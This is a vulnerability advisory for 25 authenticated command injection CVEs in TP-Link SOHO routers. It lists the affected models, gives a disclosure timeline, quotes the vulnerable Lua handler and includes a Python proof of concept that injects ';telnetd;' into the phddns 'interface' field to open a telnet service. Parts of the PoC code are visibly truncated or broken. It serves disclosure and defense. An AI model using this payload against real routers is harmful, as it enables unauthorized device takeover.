TP-Link Remote Command Injection

Many TP-Link products suffer from multiple authenticated remote command injection vulnerabilities.

MD5 | 8de246217ead9b7cbf6d0453d197f92b

The WVR-, WAR- and ER- products are the SOHO/WIFI routers of TP-Link.
These issues allow remote authenticated administrators to execute arbitrary commands via command injection through different variables of different lua files.
If the attacker obtains the account and password of the router, then he can execute the arbitrary command through this command injection vulnerability.
These vulnerabilities can be triggered in LAN and WAN(if the "remote management" function is enabled).

Vulnerability Type:
Command Injection (Authenticated)

We has tested these vulnerabilities on TL-WVR450L(the latest version is TL-WVR450L V1.0161125) and TL-WVR900G(TL-WVR900G V3.0_170306).
And the following model should also be affected and the vendor has confirmed:
TP-Link ER5110G,
TP-Link ER5120G,
TP-Link ER5510G,
TP-Link ER5520G,
TP-Link R4149G,
TP-Link R4239G,
TP-Link R4299G,
TP-Link R473GP-AC,
TP-Link R473G,
TP-Link R473P-AC,
TP-Link R473,
TP-Link R478G+,
TP-Link R478,
TP-Link R478+,
TP-Link R483G,
TP-Link R483,
TP-Link R488,
TP-Link WAR1300L,
TP-Link WAR1750L,
TP-Link WAR2600L,
TP-Link WAR302,
TP-Link WAR450L,
TP-Link WAR450,
TP-Link WAR458L,
TP-Link WAR458,
TP-Link WAR900L,
TP-Link WVR1300G,
TP-Link WVR1300L,
TP-Link WVR1750L,
TP-Link WVR2600L,
TP-Link WVR300,
TP-Link WVR302,
TP-Link WVR4300L,
TP-Link WVR450L,
TP-Link WVR450,
TP-Link WVR458L,
TP-Link WVR900G,
TP-Link WVR900L

CVE details:
The detail of each vulnerability are as follows:
CVE-2017-15613: new-interface variable in the cmxddns.lua file
CVE-2017-15614: new-outif variable in the pptp_client.lua file
CVE-2017-15615: lcpechointerval variable in the pptp_client.lua file
CVE-2017-15616: new-interface variable in the phddns.lua file
CVE-2017-15617: iface variable in the interface_wan.lua file
CVE-2017-15618: new-enable variable in the pptp_client.lua file
CVE-2017-15619: pptphellointerval variable in the pptp_client.lua file
CVE-2017-15620: new-zone variable in the ipmac_import.lua file
CVE-2017-15621: olmode variable in the interface_wan.lua file
CVE-2017-15622: new-mppeencryption variable in the pptp_client.lua file
CVE-2017-15623: new-enable variable in the pptp_server.lua file
CVE-2017-15624: new-authtype variable in the pptp_server.lua file
CVE-2017-15625: new-olmode variable in the pptp_client.lua file
CVE-2017-15626: new-bindif variable in the pptp_server.lua file
CVE-2017-15627: new-pns variable in the pptp_client.lua file
CVE-2017-15628: lcpechointerval variable in the pptp_server.lua file
CVE-2017-15629: new-tunnelname variable in the pptp_client.lua file
CVE-2017-15630: new-remotesubnet variable in the pptp_client.lua file
CVE-2017-15631: new-workmode variable in the pptp_client.lua file
CVE-2017-15632: new-mppeencryption variable in the pptp_server.lua file
CVE-2017-15633: new-ipgroup variable in the session_limits.lua file
CVE-2017-15634: name variable in the wportal.lua file
CVE-2017-15635: max_conn variable in the session_limits.lua file
CVE-2017-15636: new-time variable in the webfilter.lua file
CVE-2017-15637: pptphellointerval variable in the pptp_server.lua file

chunibalon, puzzor @VARAS of IIE

2017.08 to 2017.09: Issues found.
2017.09.26: Vendor contacted.
2017.10.13: Vendor confirmed.
2017.10.14: CVE id requested.
2017.10.19: CVE id assigned.
2018.1: Vendor confirmed that all effected products have been fixed.

Vulnerability detail:
These vulnerability are caused by the similar reason, so here is an explanation of CVE-2017-15616.
Other vulnerabilities can be reproduced with the detail descriptions of the variable and lua file.

In /usr/lib/lua/luci/controller/admin/phddns.lua file, line 113:
function add_phddns(http_form)
local form_data = json.decode(
local jdata =

ret = form:insert(CONFIG_NAME, "phddns", jdata, RULE_KEYS, nil)

if not ret then
return false, err.ERR_COM_TABLE_ITEM_UCI_ADD

if not uci_r:commit(CONFIG_NAME) then
return false, err.ERR_COM_UCI_COMMIT

-- add the ref of interface
ifs.update_if_reference(jdata.interface, 1)

sys.fork_exec('/etc/init.d/phddns restart')

return jdata
This file will process a POST request from the web management panel with url "ip/cgi-bin/luci/;stok=xxx/admin/phddns?form=phddns".
The interface argument passed by the POST request can be set with the malformed command payload and the lua file didn't check the argument sufficiently.
Then the malformed value of "interface" argument causes the command injection vulnerability.

PoC file:
import requests
import urllib
import json

# This is the PoC code of authenticated command injection of TP-Link WVR900G router with the CVE-2017-15616.
# To reproduce the PoC, the ip of the router should be and the password of web management panel should be 'adminadmin'

PASSWORD = 'c6564879eda92681404fb4ce64343788e47d266c490bb9d574f4467644a2f96b73ec157bbffabb50752c46f55d026ec7ef34661d7dcb030b0b1fa527173093ae4358f4740e539322f58c441ea0003978475346fb66320f749cc138f867bc0d8d9501f1613524fbba565979d95df6ef412837dee15a6dd8867d00b91c6f4a3406'
LOGINURL = BASEURL + '/cgi-bin/luci/;stok=/login?form=login'

MARK = '###'
VULURL = BASEURL + '/cgi-bin/luci/;stok=%s/admin/phddns?form=phddns' % (MARK)

headers = {
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4",
"Connection": "keep-alive",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Host": BASEURL[7:],
"Origin": BASEURL,
"Referer": "%s/webpages/login.html" % (BASEURL),
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
"X-Requested-With": "XMLHttpRequest"

login_data_value = {'method': 'login','params': {'password': PASSWORD,'username': 'admin'}}
login_data = {'data':json.dumps(login_data_value)}
s = requests.Session()
print (LOGINURL)
print (login_data)
res =, data=login_data)
stok = eval(res.text)['result']['stok']
print '[*] stok is %s' % (stok)

tmp_vul = VULURL.replace(MARK, stok)
print '[*] vul_url is %s ' % (tmp_vul)

delete_data = {"method":"delete","params":{"key":"key-0","index":"0"}}
delete_data = {'data': json.dumps(delete_data)}
print '[+] delete existed rule'
res =, data=delete_data)
print '[*] response is: %s' % (res.text)

# after executing this payload, the router will open its telnetd service.
payload = ''';telnetd;'''
vul_data = {"method":"add","params":{"index":0,"old":"add","new":{"interface":"WAN1%s" % (payload),"name":"test1","passwd":"test","enable":"on"},"key":"add"}}

vul_data = {'data': json.dumps(vul_data)}
print '[+] sending payload'
res =, data=vul_data)
print '[*] response is: %s' % (res.text)


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